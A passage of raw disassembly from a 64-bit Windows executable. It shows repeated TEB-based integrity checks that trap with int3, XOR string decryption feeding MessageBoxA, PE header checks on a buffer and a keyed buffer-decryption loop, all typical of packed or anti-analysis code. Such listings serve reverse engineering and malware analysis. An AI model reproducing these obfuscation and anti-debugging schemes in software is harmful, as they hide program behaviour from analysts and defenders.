je 0x140030103
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030103
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030123
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
test rsi, rsi
je 0x14003c45d
cmp qword [rbp + 0x10f8], r15
je 0x14003c45d
mov rax, qword gs:[0x3a]
movabs rbx, 0x8891115eabfcc5c6
cmp rax, r12
jne 0x1400301ed
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400301cd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400301cd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400301ed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14003d5b0
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400c5560
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x1400302cb
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400302ab
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400302ab
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400302cb
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x140030375
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030355
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030355
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030375
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14003dcac
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x140030440
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030420
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030420
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030440
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x1400304ea
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400304ca
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400304ca
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400304ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140030517
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x140030630
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x1400305a7
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14003058a
mov rsi, qword [rbp - 0x40]
mov r13d, 0xccc29034
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x1400306da
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400306ba
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400306ba
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400306da
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
mov r14d, 0x41c1d7e
cmp rax, r12
jne 0x14003079b
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003077b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003077b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003079b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x140030845
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030825
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030825
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030845
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
mov ecx, 0x5a4d
cmp word [rsi], cx
je 0x140030c2f
cmp rax, r12
jne 0x140030907
mov rax, qword gs:[0x19]
movabs rcx, 0x8891115eabfcc5c6
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400308e7
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400308e7
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030907
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_143
mov r10, r15
movabs rbx, 0x1647a34f4
movabs rsi, 0x8080808080808081
movabs r8, 0x17ac1d8434
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2f583b0868
movabs r12, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003095b
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400fb010]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400fb2e0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400fb300]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xbde631d7
mov dword [rbp + 0xc8c], 0x2b31b110
mov dword [rbp + 0xc90], 0x773eae68
mov word [rbp + 0xc94], Ordinal_200
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x54f11e9e24
movabs r11, 0xa9e23d3c48
mov r12d, 0x9b8b3d39
movabs r13, 0x1647a34f3
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140030a43
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x3a]
cmp rcx, r12
mov r13d, 0xccc29034
jne 0x140030b81
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030b61
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030b61
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030b81
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14003c77b
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030c0f
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030c0f
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
cmp rax, r12
jne 0x140030cd0
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030cb0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030cb0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030cd0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movsxd rdx, dword [rsi + 0x3c]
add rdx, rsi
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x3a]
movabs rbx, 0x8891115eabfcc5c6
cmp rax, r12
jne 0x140030d92
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030d72
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030d72
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030d92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x140031173
cmp rax, r12
jne 0x140030e4b
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030e2b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030e2b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030e4b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_143
mov r10, r15
movabs rbx, 0x1647a34f4
movabs rsi, 0x8080808080808081
movabs r8, 0x17ac1d8434
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2f583b0868
movabs r12, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140030e9f
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400fb010]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400fb2f0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400fb300]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xbde631d7
mov dword [rbp + 0xccc], 0x2b31b110
mov dword [rbp + 0xcd0], 0x773eae68
mov word [rbp + 0xcd4], Ordinal_200
mov r9, r15
movabs r8, 0x54f11e9e24
mov r10d, 0x3d
movabs r11, 0xa9e23d3c48
mov r12d, 0x9b8b3d39
movabs r13, 0x1647a34f3
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140030f87
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3a]
cmp rax, r12
mov r13d, 0xccc29034
jne 0x1400310c5
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400310a5
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400310a5
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400310c5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14003c77b
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031153
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031153
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
cmp rax, r12
jne 0x140031225
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031205
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031205
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031225
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400fb050]
movdqu xmmword [rbp + 0x978], xmm1
lea r12d, [rax + 0x11]
mov dword [rbp + 0x988], 0xcbd7a011
mov dword [rbp + 0x98c], 0x6d1926d9
mov dword [rbp + 0x990], 0x529aa099
mov word [rbp + 0x994], 0xea00
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1647a34f3
movabs r9, 0x29c6523498
lea r10d, [rax + 0x1e]
movabs r13, 0x1647a34f4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x538ca46930
cmp r9, rax
jb 0x14003129e
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400fafd0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400faf80]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs r9, 0x2b2acc698c
mov r10d, Ordinal_35
movabs r14, 0x565598d318
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, r14
jb 0x140031357
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14003c788
mov rax, qword gs:[0x3a]
mov esi, 0x9b8b3d39
mov r14d, 0xccc29034
cmp rax, rsi
jne 0x1400314c1
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400314a1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400314a1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400314c1
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
mov edi, 0x41c1d7e
cmp rax, rsi
jne 0x140031580
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031560
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031560
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031580
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
xor ecx, ecx
call fcn.1400a71d4
mov rcx, rax
call fcn.1400a2ab4
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031639
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031619
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031619
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031639
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x1400316e3
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400316c3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400316c3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400316e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x14003178d
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003176d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003176d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003178d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031837
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031817
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031817
mov rcx, qword gs:[0x19]
